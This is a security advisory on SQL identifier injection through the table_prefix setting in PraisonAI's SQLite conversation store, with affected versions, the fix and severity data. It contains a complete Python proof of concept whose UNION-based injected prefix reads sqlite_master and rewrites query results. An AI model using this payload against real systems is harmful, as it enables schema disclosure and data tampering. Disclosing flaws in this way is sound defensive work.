Medium

PraisonAI: SQLiteConversationStore didn't validate table_prefix when constructing SQL queries

  • Disclosed: 10.04.2026
  • Updated: 11.10.2026 14:18

Summary

The table_prefix configuration value is directly used to construct SQL table identifiers without validation.

If an attacker controls this value, they can manipulate SQL query structure, leading to unauthorized data access (e.g., reading internal SQLite tables such as sqlite_master) and tampering with query results.


Details

This allows attackers to inject arbitrary SQL fragments into table identifiers, effectively altering query execution.

This occurs because table_prefix is passed from configuration (from_yaml / from_dict) into SQLiteConversationStore and directly concatenated into SQL queries via f-strings:

python
sessions_table = f"{table_prefix}sessions"

This value is then used in queries such as:

sql
SELECT * FROM {self.sessions_table}

Since SQL identifiers cannot be safely parameterized and are not validated, attacker-controlled input can modify SQL query structure.

The vulnerability originates from configuration input and propagates through the following flow:

  • Source: config.py (from_yaml / from_dict) accepts external configuration input

  • Propagation: factory.py (create_stores_from_config) passes conversation_options without validation

  • Sink: sqlite.py Constructs SQL queries using f-strings with identifiers derived from table_prefix

As a result, attacker-controlled table_prefix is interpreted as part of the SQL query, enabling injection into table identifiers and altering query semantics.

PoC

1. Exploit Code

The PoC demonstrates that attacker-controlled table_prefix is not treated as a simple prefix but as part of the SQL query, allowing full manipulation of query structure.

python
#!/usr/bin/env python3
"""
PoC: SQL identifier injection via SQLiteConversationStore.table_prefix

This demonstrates query-structure manipulation when table_prefix is attacker-controlled.
"""

import os
import tempfile

from praisonai.persistence.conversation.sqlite import SQLiteConversationStore
from praisonai.persistence.conversation.base import ConversationSession


def run_poc() -> int:
    fd, db_path = tempfile.mkstemp(suffix=".db")
    os.close(fd)

    try:
        print(f"[+] temp db: {db_path}")

        # 1) Create normal schema and insert one legitimate session.
        normal = SQLiteConversationStore(
            path=db_path,
            table_prefix="praison_",
            auto_create_tables=True,
        )
        normal.create_session(
            ConversationSession(
                session_id="legit-session",
                user_id="user1",
                agent_id="agent1",
                name="Legit Session",
                state={},
                metadata={},
                created_at=123.0,
                updated_at=123.0,
            )
        )

        normal_rows = normal.list_sessions(limit=10, offset=0)
        print(f"[+] normal.list_sessions() count: {len(normal_rows)}")
        print(f"[+] normal first session_id: {normal_rows[0].session_id if normal_rows else None}")

        # 2) Malicious prefix (UNION-based query structure manipulation)
        injected_prefix = (
            "praison_sessions WHERE 1=0 "
            "UNION SELECT "
            "name as session_id, "
            "NULL as user_id, "
            "NULL as agent_id, "
            "NULL as name, "
            "NULL as state, "
            "NULL as metadata, "
            "0 as created_at, "
            "0 as updated_at "
            "FROM sqlite_master -- "
        )

        injected = SQLiteConversationStore(
            path=db_path,
            table_prefix=injected_prefix,
            auto_create_tables=False,
        )

        injected_rows = injected.list_sessions(limit=10, offset=0)
        injected_ids = [row.session_id for row in injected_rows]

        print(f"[+] injected.list_sessions() count: {len(injected_rows)}")
        print(f"[+] injected session_ids (first 10): {injected_ids[:10]}")

        suspicious = any(
            x in injected_ids
            for x in ("sqlite_schema", "sqlite_master", "praison_sessions", "praison_messages")
        )

        if suspicious or len(injected_rows) > len(normal_rows):
            print("[!] PoC succeeded: list_sessions query semantics altered by table_prefix")
            return 0

        print("[!] PoC inconclusive: no clear injected rows observed")
        return 2

    finally:
        try:
            os.remove(db_path)
            print("[+] temp db removed")
        except OSError:
            pass


if __name__ == "__main__":
    raise SystemExit(run_poc())

2. Expected Output

PoC Result The output shows that legitimate data is no longer returned; instead, attacker-controlled results are injected, demonstrating that query semantics have been altered.

3. Impact

  • SQL Identifier Injection
  • Query result manipulation
  • Internal schema disclosure

Exploitable when untrusted input can influence configuration.


Reference

Affected software

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PlatformPackageVulnerable versionsFixed in
Python (PyPI) praisonai < 4.5.133 4.5.133

References

CVSS score -
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Weakness (CWE)
CWE-89
Platform
Python (PyPI)
Package
praisonai
Disclosed
10.04.2026
Updated
11.10.2026 14:18

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-2925 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-x783-xp3g-mqhp - CC BY 4.0

Vulnerability history: praisonai

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (104) in the archive
Total entries
104
First → latest
04.2026 10.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 27
  • High 60
  • Medium 17

Disclosures per year

  1. 2026: 104
Severity:
  1. PraisonAI: SQLiteConversationStore didn't validate table_prefix when constructing SQL queries this entry
    Medium CVE-2026-40315 < 4.5.133 4.5.133
  2. High · 7.5 CVE-2026-61439 < 4.6.78 4.6.78
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